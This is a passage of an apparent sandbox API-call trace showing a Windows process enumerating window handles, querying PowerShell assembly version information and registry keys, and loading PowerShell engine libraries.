lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x518 [0275.009] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.009] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x4f0 [0275.009] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.009] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.009] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x66c [0275.009] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.009] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.009] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x3a0 [0275.009] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x3a0 [0275.009] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x124 [0275.009] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x688 [0275.009] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x3a0 [0275.010] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x32c [0275.010] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.010] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.010] GetWindowThreadProcessId (in: hWnd=0x100218, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x898 [0275.010] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x508 [0275.010] GetWindowThreadProcessId (in: hWnd=0xe020e, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x854 [0275.010] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x64 [0275.010] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x500 [0275.010] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x7dc [0275.010] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x778 [0275.010] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x57c [0275.010] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x28c [0275.010] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x574 [0275.010] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x350 [0275.011] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x594 [0275.011] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x7c8 [0275.011] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x248 [0275.011] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x698 [0275.011] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x318 [0275.011] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x7f8 [0275.011] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x58c [0275.011] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x6f0 [0275.011] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x5c8 [0275.011] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x668 [0275.011] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x664 [0275.011] GetWindowThreadProcessId (in: hWnd=0x3010e, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x5d0 [0275.011] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x6b0 [0275.011] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x6d4 [0275.012] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x6a4 [0275.012] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x54c [0275.012] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x43c [0275.012] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x5a4 [0275.012] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x4f0 [0275.012] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x66c [0275.012] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x3a0 [0275.012] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x3a0 [0275.012] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x688 [0275.015] WerSetFlags () returned 0x0 [0275.020] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0275.021] CoTaskMemFree (pv=0x0) [0275.021] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x1cdd08, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x1cdd00 | out: pulNumLanguages=0x1cdd08, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x1cdd00) returned 1 [0275.022] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x1cdd08, pwszLanguagesBuffer=0x2ce8538, pcchLanguagesBuffer=0x1cdd00 | out: pulNumLanguages=0x1cdd08, pwszLanguagesBuffer=0x2ce8538, pcchLanguagesBuffer=0x1cdd00) returned 1 [0275.025] CoTaskMemAlloc (cb=0x24) returned 0x4439f0 [0275.025] GetUserDefaultLocaleName (in: lpLocaleName=0x4439f0, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0275.026] CoTaskMemFree (pv=0x4439f0) [0275.042] CoTaskMemAlloc (cb=0x104) returned 0x39a2a0 [0275.042] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x39a2a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0275.042] CoTaskMemFree (pv=0x39a2a0) [0275.044] CoTaskMemAlloc (cb=0x104) returned 0x39a2a0 [0275.044] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x39a2a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0275.044] CoTaskMemFree (pv=0x39a2a0) [0275.045] CoTaskMemAlloc (cb=0x104) returned 0x39a2a0 [0275.045] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x39a2a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0275.045] CoTaskMemFree (pv=0x39a2a0) [0275.052] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1cd6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0275.053] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1cd770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0275.053] SetErrorMode (uMode=0x1) returned 0x1 [0275.053] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x1cd980 | out: lpFileInformation=0x1cd980*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0275.053] SetErrorMode (uMode=0x1) returned 0x1 [0275.053] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x1cdbf0 | out: lpdwHandle=0x1cdbf0) returned 0x94c [0275.054] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2cebdc8 | out: lpData=0x2cebdc8) returned 1 [0275.054] VerQueryValueW (in: pBlock=0x2cebdc8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1cdb68, puLen=0x1cdb60 | out: lplpBuffer=0x1cdb68*=0x2cebe64, puLen=0x1cdb60) returned 1 [0275.054] VerQueryValueW (in: pBlock=0x2cebdc8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x1cdad8, puLen=0x1cdad0 | out: lplpBuffer=0x1cdad8*=0x2cebf40, puLen=0x1cdad0) returned 1 [0275.054] lstrlenW (lpString="Microsoft Corporation") returned 21 [0275.054] CoTaskMemAlloc (cb=0x2e) returned 0x453330 [0275.054] lstrcpyW (in: lpString1=0x453330, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0275.054] CoTaskMemFree (pv=0x453330) [0275.054] VerQueryValueW (in: pBlock=0x2cebdc8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x1cdad8, puLen=0x1cdad0 | out: lplpBuffer=0x1cdad8*=0x2cebf94, puLen=0x1cdad0) returned 1 [0275.054] lstrlenW (lpString="System.Management.Automation") returned 28 [0275.054] CoTaskMemAlloc (cb=0x3c) returned 0x445dc0 [0275.054] lstrcpyW (in: lpString1=0x445dc0, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0275.054] CoTaskMemFree (pv=0x445dc0) [0275.054] VerQueryValueW (in: pBlock=0x2cebdc8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x1cdad8, puLen=0x1cdad0 | out: lplpBuffer=0x1cdad8*=0x2cebff0, puLen=0x1cdad0) returned 1 [0275.054] lstrlenW (lpString="6.1.7601.17514") returned 14 [0275.054] CoTaskMemAlloc (cb=0x20) returned 0x449790 [0275.055] lstrcpyW (in: lpString1=0x449790, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0275.055] CoTaskMemFree (pv=0x449790) [0275.055] VerQueryValueW (in: pBlock=0x2cebdc8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x1cdad8, puLen=0x1cdad0 | out: lplpBuffer=0x1cdad8*=0x2cec030, puLen=0x1cdad0) returned 1 [0275.055] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0275.055] CoTaskMemAlloc (cb=0x44) returned 0x445dc0 [0275.055] lstrcpyW (in: lpString1=0x445dc0, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0275.055] CoTaskMemFree (pv=0x445dc0) [0275.055] VerQueryValueW (in: pBlock=0x2cebdc8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x1cdad8, puLen=0x1cdad0 | out: lplpBuffer=0x1cdad8*=0x2cec098, puLen=0x1cdad0) returned 1 [0275.055] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0275.055] CoTaskMemAlloc (cb=0x76) returned 0x3deed0 [0275.055] lstrcpyW (in: lpString1=0x3deed0, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0275.055] CoTaskMemFree (pv=0x3deed0) [0275.055] VerQueryValueW (in: pBlock=0x2cebdc8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x1cdad8, puLen=0x1cdad0 | out: lplpBuffer=0x1cdad8*=0x2cec134, puLen=0x1cdad0) returned 1 [0275.055] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0275.055] CoTaskMemAlloc (cb=0x44) returned 0x445dc0 [0275.055] lstrcpyW (in: lpString1=0x445dc0, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0275.055] CoTaskMemFree (pv=0x445dc0) [0275.055] VerQueryValueW (in: pBlock=0x2cebdc8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x1cdad8, puLen=0x1cdad0 | out: lplpBuffer=0x1cdad8*=0x2cec198, puLen=0x1cdad0) returned 1 [0275.055] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0275.055] CoTaskMemAlloc (cb=0x58) returned 0x39b5d0 [0275.055] lstrcpyW (in: lpString1=0x39b5d0, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0275.055] CoTaskMemFree (pv=0x39b5d0) [0275.055] VerQueryValueW (in: pBlock=0x2cebdc8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x1cdad8, puLen=0x1cdad0 | out: lplpBuffer=0x1cdad8*=0x2cec214, puLen=0x1cdad0) returned 1 [0275.055] lstrlenW (lpString="6.1.7601.17514") returned 14 [0275.055] CoTaskMemAlloc (cb=0x20) returned 0x449790 [0275.055] lstrcpyW (in: lpString1=0x449790, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0275.055] CoTaskMemFree (pv=0x449790) [0275.055] VerQueryValueW (in: pBlock=0x2cebdc8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x1cdad8, puLen=0x1cdad0 | out: lplpBuffer=0x1cdad8*=0x2cebebc, puLen=0x1cdad0) returned 1 [0275.055] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0275.055] CoTaskMemAlloc (cb=0x66) returned 0x4413c0 [0275.055] lstrcpyW (in: lpString1=0x4413c0, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0275.055] CoTaskMemFree (pv=0x4413c0) [0275.055] VerQueryValueW (in: pBlock=0x2cebdc8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x1cdad8, puLen=0x1cdad0 | out: lplpBuffer=0x1cdad8*=0x0, puLen=0x1cdad0) returned 0 [0275.055] VerQueryValueW (in: pBlock=0x2cebdc8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x1cdad8, puLen=0x1cdad0 | out: lplpBuffer=0x1cdad8*=0x0, puLen=0x1cdad0) returned 0 [0275.056] VerQueryValueW (in: pBlock=0x2cebdc8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x1cdad8, puLen=0x1cdad0 | out: lplpBuffer=0x1cdad8*=0x0, puLen=0x1cdad0) returned 0 [0275.056] VerQueryValueW (in: pBlock=0x2cebdc8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1cdaa8, puLen=0x1cdaa0 | out: lplpBuffer=0x1cdaa8*=0x2cebe64, puLen=0x1cdaa0) returned 1 [0275.056] CoTaskMemAlloc (cb=0x204) returned 0x40d800 [0275.056] VerLanguageNameW (in: wLang=0x0, szLang=0x40d800, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0275.056] CoTaskMemFree (pv=0x40d800) [0275.056] VerQueryValueW (in: pBlock=0x2cebdc8, lpSubBlock="\\", lplpBuffer=0x1cdaf8, puLen=0x1cdaf0 | out: lplpBuffer=0x1cdaf8*=0x2cebdf0, puLen=0x1cdaf0) returned 1 [0275.062] CoTaskMemAlloc (cb=0x104) returned 0x39a2a0 [0275.062] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x39a2a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0275.062] CoTaskMemFree (pv=0x39a2a0) [0275.065] CoTaskMemAlloc (cb=0x104) returned 0x39a2a0 [0275.065] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x39a2a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0275.065] CoTaskMemFree (pv=0x39a2a0) [0275.069] lstrlenW (lpString="䅁") returned 1 [0275.076] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1cd9c8 | out: phkResult=0x1cd9c8*=0x308) returned 0x0 [0275.078] RegOpenKeyExW (in: hKey=0x308, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0x1cd9b8 | out: phkResult=0x1cd9b8*=0x30c) returned 0x0 [0275.078] RegOpenKeyExW (in: hKey=0x30c, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1cda48 | out: phkResult=0x1cda48*=0x310) returned 0x0 [0275.081] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1cd98c, lpData=0x0, lpcbData=0x1cd988*=0x0 | out: lpType=0x1cd98c*=0x1, lpData=0x0, lpcbData=0x1cd988*=0x56) returned 0x0 [0275.082] CoTaskMemAlloc (cb=0x5a) returned 0x441350 [0275.082] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1cd95c, lpData=0x441350, lpcbData=0x1cd958*=0x56 | out: lpType=0x1cd95c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1cd958*=0x56) returned 0x0 [0275.082] CoTaskMemFree (pv=0x441350) [0275.087] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1cd4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0275.089] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1cd4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0275.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1cd4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0275.106] CoTaskMemAlloc (cb=0x104) returned 0x39a2a0 [0275.106] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x39a2a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0275.106] CoTaskMemFree (pv=0x39a2a0) [0275.225] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x1cd580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0275.225] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x1cd580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0275.287] CoTaskMemAlloc (cb=0x104) returned 0x39a3b0 [0275.287] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x39a3b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0275.287] CoTaskMemFree (pv=0x39a3b0) [0275.288] CoTaskMemAlloc (cb=0x104) returned 0x39a3b0 [0275.288] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x39a3b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0275.288] CoTaskMemFree (pv=0x39a3b0) [0275.311] CoTaskMemAlloc (cb=0x104) returned 0x39a3b0 [0275.311] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x39a3b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0275.311] CoTaskMemFree (pv=0x39a3b0) [0275.313] CoTaskMemAlloc (cb=0x104) returned 0x39a3b0 [0275.313] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x39a3b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0275.313] CoTaskMemFree (pv=0x39a3b0) [0275.313] CoTaskMemAlloc (cb=0x104) returned 0x39a3b0 [0275.313] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x39a3b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0275.313] CoTaskMemFree (pv=0x39a3b0) [0275.363] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x1cd580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0275.363] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x1cd580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0275.395] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1cd580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0275.395] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1cd580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0275.494] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1cd580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0275.494] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1cd580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0275.515] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1cd580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0275.515] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1cd580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0275.563] GetFullPathNameW (in: 